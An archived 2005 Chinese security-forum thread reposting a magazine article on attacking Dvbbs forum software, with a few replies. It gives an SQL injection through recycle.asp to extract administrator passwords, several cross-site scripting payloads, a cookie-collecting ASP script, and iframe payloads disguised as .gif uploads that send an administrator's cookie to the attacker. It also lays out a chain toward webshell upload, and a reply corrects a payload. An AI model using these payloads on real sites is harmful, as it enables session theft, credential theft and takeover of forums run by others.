邪恶八进制信息安全团队技术讨论组's Archiver

十四郎 2005-8-8 21:37

[转载]夏日动网漏洞不断

信息来源:[url]http://jp.21o.net[/url]

脚本小子:自从去年黑防杂志上登出《把DVBBS送下地狱》等一系列重量级动网漏洞攻击文章之后,今年llikez又在第六期大暴新版动网7.1漏洞,本期再次放出动网的几个新漏洞,希望这种对流行站点bug孜孜以求的精神能继续在黑客防线传承下去。下一个在黑防连载漏洞的人,最好就是你了!

适合读者:脚本爱好者,入侵爱好者
前置知识:跨站基础知识
夏日动网“洞”不断

文/图 llikz
正因为动网论坛拥有超过50%的中国站长用户,成为中国论坛领域事实上的标准,所以自去年动网论坛7.0.0 SP2以下所有版本发现上传漏洞后,国内网络被搞的鸡犬不宁。各大论坛的管理员,网管也愈来愈重视动网官方的动态,所有论坛程序基本都升级到7.0.0 SP2,或者是最新的7.1.0了,是不是这些版本就足够安全,足够强壮了呢?当然并非如此,自从本人发现最新版本中的admin_postings.asp文件存在注入漏洞后,官方论坛丝毫没有打补丁的意思。可能他们以为漏洞利用起来比较困难,需要前台管理员权限,但是如果我们再结合传说中的温柔杀手:跨站脚本攻击。就会大大提高我们提升权限的几率。更令人兴奋的是结合recycle.asp的注入漏洞,对Access版本也显奇效。无论是7.0.0的还是7.1.0的都受影响。首先说说这个漏洞吧。

打开recycle.asp,

<!--#include file="conn.asp"-->

<!-- #include file="inc/const.asp" -->

<!-- #include file="inc/DvADChar.asp" -->

<!-- #include file="inc/dv_ubbcode.asp" -->

<%

Rem 修改记录:2004-5-3 行396 Dvbbs.YangZheng

Server.s criptTimeOut=999999

dim bBoardEmpty

dim totalrec

dim n,RowCount

dim p

dim currentpage,page_count,Pcount

dim tablename

Dvbbs.stats="论坛回收站"

Dvbbs.nav()

If Not Dvbbs.master Then Response.redirect "showerr.asp?ErrCodes=<li>您没有权限浏览本页。&action=OtherErr"

Dvbbs.ShowErr()

Dvbbs.Head_var 2,0,"",""

Dim EmotPath

EmotPath=Split(Dvbbs.Forum_emot,"|||")(0)

Dim dv_ubb,abgcolor

Set dv_ubb=new Dvbbs_UbbCode

If Request("reaction")="manage" Then

dim topicid

Dim trs,UpdateBoardID

Dim fixid

Manage_Main()

ElseIf Request("reaction")="view" Then

View()

Else

Main()

End If



Call Dvbbs.activeonline()

call Dvbbs.footer()

‘大家再看看调用的Manage_Main函数和View函数,就会发现如下代码:

If request("tablename")="dv_topic" Then

tablename="dv_topic"

ElseIf InStr(request("tablename"),"bbs")>0 Then

tablename=Trim(request("tablename"))

If Len(tablename)>8 Then

Response.redirect "showerr.asp?ErrCodes=<li>错误的系统参数!&action=OtherErr"

End If

Else

Response.redirect "showerr.asp?ErrCodes=<li>错误的系统参数!&action=OtherErr"

End If

显然是对tablename过滤了,长度不能超过8,虽然能注入,但是实在没有价值可言,没关系,我们再看看如果我们提交的action为空,程序就会执行main函数,这个函数调用的是AnnounceList1,我们再找到这个函数看看把:

Sub AnnounceList1()

‘省略了无用代码,免得跟上次一样wtf又说偶骗稿费咯……

If instr(lcase(request("tablename")),"bbs")>0 then

SQL="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&replace(request("tablename"),"&#39;","")&" where boardid=444 and not parentid=0 order by announceid desc"

tablename=request("tablename")

Else

SQL="select topicID,boardID,PostUserName,Title,title as body,DateAndTime from dv_topic where boardid=444 order by topicid desc"

tablename="dv_topic"

End If

set rs=server.createobject("adodb.recordset")

If Not IsObject(Conn) Then ConnectionDatabase

rs.open SQL,conn,1,1

if rs.bof and rs.eof then

&#39;论坛无内容

call showEmptyBoard1()

else

rs.PageSize = cint(Dvbbs.Forum_Setting(11))

rs.AbsolutePage=currentpage

page_count=0

totalrec=rs.recordcount

call showPageList1()

end if

End sub

哈哈,显然这里没有对tablename限制长度,verygood,不过遗憾的是注入只能实现只读的查询,不能修改数据库内容,没关系,我们可以利用union查询把dv_log中记录的后台管理账号和密码一次性查询出来,这个还不够爽啊,通杀SQL版本和Access版本。

构造以下查询语句:

[url]http://127.0.0.1/recycle.......[/url],1,1,1,1,1%20from%20dv_bbs1

注意到l_id了吗,我们查询的时候通过递增l_id的值来遍历l_content字段中的内容,如果l_id选取的合适,就能直接得到明文账号和密码。如图1所示。

图1

看到了吗,以上显示的后台账号是llikz,密码是111111,前台管理员账号是admin。得到后台管理权限,上传WebShell绝非是难事了。

说了这么多,别太兴奋了,忘记了只有前台管理员才有权限对回收站进行操作。不过比起admin_postings.asp的注入不仅实现起来比较容易。而且能对Access版本进行攻击。下面我们就为获得前台管理员权限努力吧。只要能够实现这个条件,两个注入漏洞都能轻松实现了。

关于利用跨站脚本攻击获得管理员的cookie信息,方法多种多样,可跨站攻击的文件也有不少,比如众所周知的showerr.asp,不过这个文件的跨站漏洞在7.1.0版本中已经修补,但是还有其他很多文件存在此漏洞,就拿cookies.asp来说吧,打开以下连接:

[url]http://127.0.0.1/cookies.asp?action=setlistmod&id=[/url]);</s cript><s cript>alert(documents.cookie)</s cript>

看看是不是你的cookie信息弹出来了。如图2所示。

图2

我们先说一种简单的实现起来比较容易的方法(当然隐蔽性不是很高),首先建立一个asp文件用于接收cookie信息,文件内容如下:

<%

Set cookie=Server.CreateObject("Adodb.Stream")

cookie.Open

cookie.Type=2

cookie.Charset="gb2312"

cookie.WriteText(request("cookie"))

cookie.SaveToTile(server.mappath(month(now)&day(now)&hour(now)&minute(now)&second(now)&".txt"))

cookie.Close

set cookie=Nothing

%>

保存为save.asp放到支持asp的空间。然后再建立文本文件,内容如下:

<html>

<body>

<iframe width=0 height=0 src="[url]http://127.0.0.1/showerr.......erErr&ErrCodes=<form[/url] name=redir action=http://127.0.0.1/save.asp method=post><input type=hidden name=cookie></from><s cript>redir.cookie.value=documents.cookie;redir.submit();</s cript>"></iframe>

<img src=http://127.0.0.1/images/logo.gif></img>

</body>

</html>

[url]http://127.0.0.1/save.asp[/url]请修改为自己的接收cookie信息的文件,[url]http://127.0.0.1/showerr.asp[/url]请修改为你要攻击的论坛的地址。

将以上代码保存为up.gif。在论坛中选择发表新话题,将这个文件上传上去得到上传文件的地址:[url]http://127.0.0.1/UploadFile/2005711052664.gif[/url],给管理员发送如下的短消息。如图3所示。

图3

看看管理员收到什么了。如图4所示。



图4

这样只要管理员点击上面的连接,他的cookie信息就发到自己的空间咯,不信去看看啊。如图5所示。

图5

接下来我们改进以下这种方法,如果将管理员的cookie信息做为短消息发到自己的收信箱里岂不更爽,将原来的up.gif内容修改一下,改为以下的内容:

<html>

<body>

<iframe width=0 height=0 src="[url]http://127.0.0.1/showerr.......erErr&ErrCodes=<form[/url] name=redir action=http://127.0.0.1/messanger.asp?action=send method=post><INPUT type=hidden name=touser value=llikz><INPUT type=hidden name=title value=cookie><INPUT type=text name=message><INPUT type=hidden name=sms_act value=Sms_Issend></form><s cript>document.redir.message.value=documents.cookie;document.redir.submit();</s cript>"></iframe>

<img src=http://wjwl.cn66.cn/sitephoto/200312120204774541.jpg></img>

</body>

</html>

这样就能够绕过checkpost函数以post方式将管理员cookie信息发送到自己信箱了,注意<INPUT type=hidden name=touser value=llikz>这个修改为你自己注册的账号来接收短消息。这样只要欺骗管理员打开连接,就会收到类似如下的短信息。如图6所示。

图6

以上的方法都有个缺点:当管理员在打开假图片的时候,通过浏览器状态栏显示的状态信息很容易被识破。那我们就利用动网论坛自定义头像功能实现跨站攻击。

选择控制面板,基本资料修改。在自定义头像地址中写入"><iframe src=http://127.0.0.1/index.asp></iframe><"再查看一下自己的个人资料。如图7所示。

图7

哈哈,成功了,不过在自定义头像地址过滤了Java脚本,所以只能嵌入iframe框架。

不过在这里嵌入以上方法上传的脚本图片就能用来获取cookie信息了。比如我嵌入的是test.gif,文件内容是:

<html>

<body>

<s cript>alert(documents.cookie)</s cript>

</body>

</html>

再查看一下自己的个人资料。如图8所示。

图8

这样只要欺骗管理员访问自己的个人资料,就神不知鬼不觉得到访问者的cookie信息了。通过cookie欺骗得到前台管理权限,再用recycle.asp注入漏洞即可轻松获得后台管理权限。只要大家灵活运用以上方法,摧毁不倒的动网论坛绝非难事。

sunwon 2005-8-10 02:02

真不错,抽时间去做做看,呵呵 有点味道啊!

fud9090 2005-8-10 12:37

*** 作者被禁止或删除 内容自动屏蔽 ***

sunwon 2005-8-11 17:15

一个笔误

[url]http://127.0.0.1/cookies.asp?action=setlistmod&id=[/url]);</s cript><s cript>alert(documents.cookie)</s cript>

其中是  document.cookie  不是复数 DOCUMENTS

sunwon 2005-8-11 17:57

[quote][b]下面是引用fud9090于2005-08-10 12:37发表的:[/b]
构造以下查询语句:

[url]http://127.0.0.1/recycle.......[/url],1,1,1,1,1%20from%20dv_bbs1
------------------

.......[/quote]



是这个样子的。
[code]

<iframe width=0 height=0 src="[url]http://192.168.0.2/dvbbs7/showerr.asp?action=OtherErr&ErrCodes=<form[/url] name=redir action=http://192.168.0.2/dvbbs7/messanger.asp?action=send method=post><INPUT type=hidden name=touser value=hack123><INPUT type=hidden name=title value=cookie><INPUT type=text name=message><INPUT type=hidden name=sms_act value=Sms_Issend></form><script>document.redir.message.value=document.cookie;document.redir.submit();</script>"></iframe>

[/code]

sunwon 2005-8-11 18:00

不知道这个文章的出处  是那里,我想看看图片,这里没图片。 如何构造 PM 来骗ADMIN 点呢。。。

fud9090 2005-8-11 19:12

*** 作者被禁止或删除 内容自动屏蔽 ***

fud9090 2005-8-13 04:48

*** 作者被禁止或删除 内容自动屏蔽 ***

页: [1]
© 1999-2008 EvilOctal Security Team